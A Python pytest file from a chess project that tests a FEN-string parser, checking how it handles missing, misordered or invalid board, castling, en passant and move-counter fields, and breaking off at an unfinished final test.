test_fenChecker.py

lesliejohng/atombase

82a91edb4bd255dcd3c297d473a624f808075472

[ "MIT" ]

2

2021-02-02T16:11:45.000Z

2021-02-02T19:25:42.000Z

test_fenChecker.py

lesliejohng/atombase

82a91edb4bd255dcd3c297d473a624f808075472

[ "MIT" ]

null

test_fenChecker.py

lesliejohng/atombase

82a91edb4bd255dcd3c297d473a624f808075472

[ "MIT" ]

null

import pytest from fenChecker import Fen, WarningMsg import mock startingFen = 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR w KQkq - 0 1' # -------------------- Fixtures ----------------------------------------------- @pytest.fixture def good_fen(): # sets up a Fen object with a valid fen # postion after 1 e4 e5 2 Nf3 return Fen('rnbqkbnr/pppp1ppp/8/4p3/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2') @pytest.fixture def good_ep_fen(): # sets up a Fen object with a valid test.ep square # NB I am currently not clear whether this should be set ONLY if there is # an enemy pawn positioned to perform a ep capture. ie only when it matters! # The following position is after 1 e4 e6 2 e5 d5 when white could play # 3 exd6 e.p. return Fen('rnbqkbnr/pppp1ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3') @pytest.fixture def castling_fen(): # in this position it is not clear whether or not the Kings or Rooks # have moved as each Rook could have moved and moved back and the kings # could have moved and directly moved back or taken a triangluar # route back to their original square. return Fen('r1bqkb1r/ppp2ppp/2np1n2/4p3/4P3/2NP1N2/PPP2PPP/R1BQKB1R') # toPlay, castling and ep will need to be set # ----------------------------------------------------------------------------- # -------------------- assumptions -------------------------------------------- # In handling a string input I have made the following assumptions # 1) the first sub-string is always the board # 2) the last sub-string is always the move counter IF A DIGIT and fen # has more at least 2 elements # 3) the penultimate sub-string is always the half move clock IF A DIGIT # AND the last sub-string is ALSO A DIGIT and the fen has as least # 3 elements # 4) if a toPlay, castling or ep element is recognised # anywhere in the fen that value will be saved # ----------------------------------------------------------------------------- # -------------------- tests: non-string fen ---------------------------------- def test_missingFen(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR', 'w','KQkq','-']): # full reset to starting position # currently this is not an automatic reset to the starting position # as in pychess, but requires manual input of each element # of the fen test = Fen() # nothing passed assert test.board == 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '0' assert test.move == '1' assert str(test) == startingFen def test_nonStringFenInteger(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR', 'w','KQkq','-']): # reset to starting position test = Fen(fen = 5) # integer passed # 5 is a valid fen character, so the board element consists of 5 # blank squares assert test.board == 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '0' assert test.move == '1' assert str(test) == startingFen def test_nonStringFenFloat(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR', 'w','KQkq','-']): # reset to starting position test = Fen(fen = 5.45) # float passed # 5.45 could be read as a board with 10 squares and one invalid # character ('.') assert test.board == 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '0' assert test.move == '1' assert str(test) == startingFen def test_nonStringFenBool(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR', 'w','KQkq','-']): # full reset to starting position test = Fen(True) # bool passed # 5 is a valid fen character, so the board element consists of 5 # blank squares assert test.board == 'rnbqkbnr/pppppppp/8/8/8/8/PPPPPPPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '0' assert test.move == '1' assert str(test) == startingFen # ------------------------------------------------------------ 4 tests: total 4 # -------------------- test sub-string assumptions ---------------------------- def test_noBoardSubstring(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R']): test = Fen(fen = 'w KQkq - 5 20') # toPlay, castling and ep should be recognised # no board element passed # last two items accepted as they are digits assert test.fenElements == ['w', 'KQkq', '-', '5', '20'] assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' # fenToPlay set to test default 'w' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '5' assert test.move == '20' assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 5 20' def test_singleDigit(): # the available digit should be taken as the move number # half move will be reset to o test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '0' assert test.move == '2' assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 0 2' def test_NoDigit(): # the available digit should be taken as the move number # half move will be reset to 0, move to 1 test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq -') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '0' assert test.move == '1' assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 0 1' def test_MisplacedDigitsboth(): # misplaced digits will be reset # half move will be reset to 0, move to 1 test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w 1 2 KQkq -') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '0' assert test.move == '1' assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 0 1' def test_MisplacedDigitsOne(): # misplaced digits will be reset # half move will be reset to 0 test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w 1 KQkq - 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '0' # the last digit is assumed to be the move counter assert test.move == '2' assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 0 2' # ------------------------------------------------------------ 5 tests: total 9 # -------------------- fen passed with missing elements ----------------------- def test_FenBoardOnly(): with mock.patch('builtins.input',side_effect = ['w','KQkq','-']): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq 1 2') # reset all but board and halfMove/move, as missing element # requires input of all other elements of the fen assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 1 2' def test_fenMissingBoard(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R']): test = Fen(fen = 'w KQkq - 1 2') # reset all but board and halfMove/move, as missing element # requires input of all other elements of the fen assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' assert str(test) == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq - 1 2' def test_fenMissingToPlay(): with mock.patch('builtins.input',side_effect = ['w']): test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR KQkq d6 0 3') # position after 1 e4 e6 2 e5 d5 # the missing toPlay would make it impossible to check ep, # but toPlay should be set in time to prevent problem assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == 'd6' assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3' def test_fenMissingCastling(): with mock.patch('builtins.input',side_effect = ['KQkq']): test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w d6 0 3') assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == 'd6' assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3' def test_fenMissingEP(): with mock.patch('builtins.input',side_effect = ['d6']): test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq 0 3') assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == 'd6' assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3' def test_fenMissingDigit(): test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 3') # assumed that the provided digit is the move number # half move will be reset to 0 assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == 'd6' assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3' # ----------------------------------------------------------- 6 tests: total 15 # -------------------- test allocation of '-' --------------------------------- def test_ep_None(): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_castling_None_EPwrong(): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b - e3 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == '-' # no enemy pawns in place so reset to '-' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_castling_None_EPok(): test = Fen(fen = 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R b - e3 1 2') # position after 1 Nf3 d5 2 Nc3 d4 3 e4: e3 is a ep square assert test.board == 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R' assert test.toPlay == 'b' assert test.castling == '-' # e3 is valid assert test.ep == 'e3' assert test.halfMove == '0' # last move was pawn move assert test.move == '2' def test_castling_ep(): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b - - 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == '-' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_2Blanks_castling_set(): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b - - KQkq 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_2Blanks_ep_setIncorrectly(): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b - - e3 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == '-' assert test.ep == '-' # e3 inconsistant with board assert test.halfMove == '1' assert test.move == '2' def test_2Blanks_ep_setCorrectly(): test = Fen(fen = 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R b - - e3 1 2') # 1 Nf3 d5 2 Nc3 d4 3 e4 - e3 valid assert test.board == 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R' assert test.toPlay == 'b' assert test.castling == '-' assert test.ep == 'e3' assert test.halfMove == '0' # last move was pawn move assert test.move == '2' # ----------------------------------------------------------- 7 tests: total 22 # -------------------- test of extra white spaces ----------------------------- def test_fenWhiteSpaceBetweenElements(): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq d6 0 3') assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' #d6 inconsistant with board assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3' def test_fenLeadingWhiteSapce(): test = Fen(fen = ' rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq d6 0 3') assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' # d6 inconsistant with board assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3' def test_fenTrailingWhiteSpace(): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq d6 0 3 ') assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' # d6 inconsistant with board assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3' def test_fenWhiteSpaceInCastling(): with mock.patch('builtins.input',side_effect = ['KQkq']): # problem this would result in two valid castling elements # should be caught as contradictory and require input of castling test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQ kq d6 0 3') assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' # d6 inconstsant with board assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3' def test_fenWhiteSpaceInEP(): with mock.patch('builtins.input',side_effect = ['d6']): # problem this would result in two valid castling elements # should be caught as contradictory and require input of castling test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq d 6 0 3') assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' #d6 incosistant with board assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3' def test_fenWhiteSpaceInCandEP(): with mock.patch('builtins.input',side_effect = ['KQkq', 'd6']): # problem this would result in two valid castling elements # should be caught as contradictory and require input of castling test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w K Qkq d 6 0 3') assert test.board == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' # d6 inconsistent with board assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/pp1ppppp/8/8/2p5/4P3/PPPP1PPP/RNBQKBNR w KQkq - 0 3' # ----------------------------------------------------------- 6 test: total 28 # -------------------- fen elements incorrect --------------------------------- def test_toPlayError(): with mock.patch('builtins.input',side_effect = ['w']): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R z KQkq - 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_CastlingError(): with mock.patch('builtins.input',side_effect = ['KQkq', '-']): # as the castling element is unrecognisable, '-' # cannot be allocated, so ep needs to be set test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkx - 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_epError(): with mock.patch('builtins.input',side_effect = ['-']): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq x 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' # ----------------------------------------------------------- 3 tests: total 31 # -------------------- ep invalid squares ------------------------------------- def test_epInvalidSquare(): with mock.patch('builtins.input',side_effect = ['-']): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq e5 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == 'KQkq' # manual reset ep to '-' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_epwtpValid(): test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKB1R w KQkq d6 0 3') # after 1 e4 e6 2 e5 d4: e6 correct assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == 'd6' assert test.halfMove == '0' assert test.move == '3' def test_epbtpValid(): test = Fen(fen = 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R b KQkq e3 0 4') # after 1 Nf3 d5 2 Nc3 d4 3 e4: e3 correct assert test.board == 'rnbqkbnr/ppp1pppp/8/8/3pP3/2N2N2/PPPP1PPP/R1BQKB1R' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == 'e3' assert test.halfMove == '0' assert test.move == '4' def test_epwtpInvalid(): with mock.patch('builtins.input',side_effect = ['-']): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R w KQkq e3 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'w' assert test.castling == 'KQkq' # temporary: reset fentest.ep to '-' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_epbtpInvalid(): with mock.patch('builtins.input',side_effect = ['-']): test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq e6 1 2') assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R' assert test.toPlay == 'b' assert test.castling == 'KQkq' # ep reset to '-' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_ep_a6_correct(): test = Fen('4k3/8/8/pP6/8/8/8/4K3 w - a6 0 1') assert test.ep == 'a6' def test_ep_a6_incorrect(): test = Fen('4k3/8/8/p1P5/8/8/8/4K3 w - a6 0 1') assert test.ep == '-' def test_ep_b6_correctRA(): test = Fen('4k3/8/8/1pP5/8/8/8/4K3 w - b6 0 1') assert test.ep == 'b6' def test_ep_b6_correctLA(): test = Fen('4k3/8/8/Pp6/8/8/8/4K3 w - b6 0 1') assert test.ep == 'b6' def test_ep_b6_incorrect(): test = Fen('4k3/8/8/1p1P4/8/8/8/4K3 w - b6 0 1') assert test.ep == '-' def test_ep_c6_correctRA(): test = Fen('4k3/8/8/2pP4/8/8/8/4K3 w - c6 0 1') assert test.ep == 'c6' def test_ep_c6_correctLA(): test = Fen('4k3/8/8/1Pp5/8/8/8/4K3 w - c6 0 1') assert test.ep == 'c6' def test_ep_c6_incorrect(): test = Fen('4k3/8/8/2p1P3/8/8/8/4K3 w - c6 0 1') assert test.ep == '-' def test_ep_d6_correctRA(): test = Fen('4k3/8/8/3pP3/8/8/8/4K3 w - d6 0 1') assert test.ep == 'd6' def test_ep_d6_correctLA(): test = Fen('4k3/8/8/2Pp4/8/8/8/4K3 w - d6 0 1') assert test.ep == 'd6' def test_ep_d6_incorrect(): test = Fen('4k3/8/8/3p1P2/8/8/8/4K3 w - d6 0 1') assert test.ep == '-' def test_ep_e6_correctRA(): test = Fen('4k3/8/8/4pP2/8/8/8/4K3 w - e6 0 1') assert test.ep == 'e6' def test_ep_e6_correctLA(): test = Fen('4k3/8/8/3Pp3/8/8/8/4K3 w - e6 0 1') assert test.ep == 'e6' def test_ep_e6_incorrect(): test = Fen('4k3/8/8/4p1P1/8/8/8/4K3 w - e6 0 1') assert test.ep == '-' def test_ep_f6_correctRA(): test = Fen('4k3/8/8/5pP1/8/8/8/4K3 w - f6 0 1') assert test.ep == 'f6' def test_ep_f6_correctLA(): test = Fen('4k3/8/8/4Pp2/8/8/8/4K3 w - f6 0 1') assert test.ep == 'f6' def test_ep_f6_incorrect(): test = Fen('4k3/8/8/5p1P/8/8/8/4K3 w - f6 0 1') assert test.ep == '-' def test_ep_g6_correctRA(): test = Fen('4k3/8/8/6pP/8/8/8/4K3 w - g6 0 1') assert test.ep == 'g6' def test_ep_g6_correctLA(): test = Fen('4k3/8/8/5Pp1/8/8/8/4K3 w - g6 0 1') assert test.ep == 'g6' def test_ep_g6_incorrect(): test = Fen('4k3/8/8/P5p1/8/8/8/4K3 w - g6 0 1') assert test.ep == '-' def test_ep_h6_correct(): test = Fen('4k3/8/8/6Pp/8/8/8/4K3 w - h6 0 1') assert test.ep == 'h6' def test_ep_h6_incorrect(): test = Fen('4k3/8/8/1P5p/8/8/8/4K3 w - h6 0 1') assert test.ep == '-' def test_ep_a3_correct(): test = Fen('4k3/8/8/8/Pp6/8/8/4K3 b - a3 0 1') assert test.ep == 'a3' def test_ep_a3_incorrect(): test = Fen('4k3/8/8/8/P1p5/8/8/4K3 b - a3 0 1') assert test.ep == '-' def test_ep_b3_correctRA(): test = Fen('4k3/8/8/8/1Pp5/8/8/4K3 b - b3 0 1') assert test.ep == 'b3' def test_ep_b3_correctLA(): test = Fen('4k3/8/8/8/pP6/8/8/4K3 b - b3 0 1') assert test.ep == 'b3' def test_ep_b3_incorrect(): test = Fen('4k3/8/8/8/1P1p4/8/8/4K3 b - b3 0 1') assert test.ep == '-' def test_ep_c3_correctRA(): test = Fen('4k3/8/8/8/2Pp4/8/8/4K3 b - c3 0 1') assert test.ep == 'c3' def test_ep_c3_correctLA(): test = Fen('4k3/8/8/8/1pP5/8/8/4K3 b - c3 0 1') assert test.ep == 'c3' def test_ep_c3_incorrect(): test = Fen('4k3/8/8/8/2P1p3/8/8/4K3 b - c3 0 1') assert test.ep == '-' def test_ep_d3_correctRA(): test = Fen('4k3/8/8/8/3Pp3/8/8/4K3 b - d3 0 1') assert test.ep == 'd3' def test_ep_d3_correctLA(): test = Fen('4k3/8/8/8/2pP4/8/8/4K3 b - d3 0 1') assert test.ep == 'd3' def test_ep_d3_incorrect(): test = Fen('4k3/8/8/8/3P1p2/8/8/4K3 b - d3 0 1') assert test.ep == '-' def test_ep_e3_correctRA(): test = Fen('4k3/8/8/8/4Pp2/8/8/4K3 b - e3 0 1') assert test.ep == 'e3' def test_ep_e3_correctLA(): test = Fen('4k3/8/8/8/3pP3/8/8/4K3 b - e3 0 1') assert test.ep == 'e3' def test_ep_e3_incorrect(): test = Fen('4k3/8/8/8/4p1P1/8/8/4K3 b - e3 0 1') assert test.ep == '-' def test_ep_f3_correctRA(): test = Fen('4k3/8/8/8/5Pp1/8/8/4K3 b - f3 0 1') assert test.ep == 'f3' def test_ep_f3_correctLA(): test = Fen('4k3/8/8/8/4pP2/8/8/4K3 b - f3 0 1') assert test.ep == 'f3' def test_ep_f3_incorrect(): test = Fen('4k3/8/8/8/5P1p/8/8/4K3 b - f3 0 1') assert test.ep == '-' def test_ep_g3_correctRA(): test = Fen('4k3/8/8/8/6Pp/8/8/4K3 b - g3 0 1') assert test.ep == 'g3' def test_ep_g3_correctLA(): test = Fen('4k3/8/8/8/5pP1/8/8/4K3 b - g3 0 1') assert test.ep == 'g3' def test_ep_g3_incorrect(): test = Fen('4k3/8/8/8/p5P1/8/8/4K3 b - g3 0 1') assert test.ep == '-' def test_ep_h3_correct(): test = Fen('4k3/8/8/8/6pP/8/8/4K3 b - h3 0 1') assert test.ep == 'h3' def test_ep_h3_incorrect(): test = Fen('4k3/8/8/8/1p5P/8/8/4K3 b - h3 0 1') assert test.ep == '-' # ---------------------------------------------------------- 49 tests: total 80 # -------------------- fen elements out of order ------------------- ---------- # valid toPlay, castling and ep should be recognised def test_orderFenValidEP(): test = Fen(fen = 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR d6 w KQkq 0 3') assert test.board == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR' assert test.toPlay == 'w' assert test.castling == 'KQkq' assert test.ep == 'd6' assert test.halfMove == '0' assert test.move == '3' assert str(test) == 'rnbqkbnr/ppp2ppp/4p3/3pP3/8/8/PPPP1PPP/RNBQKBNR w KQkq d6 0 3' # ------------------------------------------------------------ 1 test: total 81 # ------------------- board errors: kings ------------------------------------- def test_noWhiteKing(): # this checks that the absence of a white king results in an error with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq']): # full reset to starting position test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQQB1R b KQkq - 1 2') # input of corrected board element assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_manyWhiteKings(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq']): # full reset to starting position test = Fen(fen = 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBKKB1R b KQkq - 1 2') # input of corrected board element assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_noBlackKing(): with mock.patch('builtins.input',side_effect = ['rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq']): # full reset to starting position test = Fen(fen = 'rnbqqbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R b KQkq - 1 2') # input of corrected board element assert test.board == 'rnbqkbnr/pp1ppppp/8/2p5/4P3/5N2/PPPP1PPP/RNBQKB1R KQkq' assert test.toPlay == 'b' assert test.castling == 'KQkq' assert test.ep == '-' assert test.halfMove == '1' assert test.move == '2' def test_manyBlackKings(): 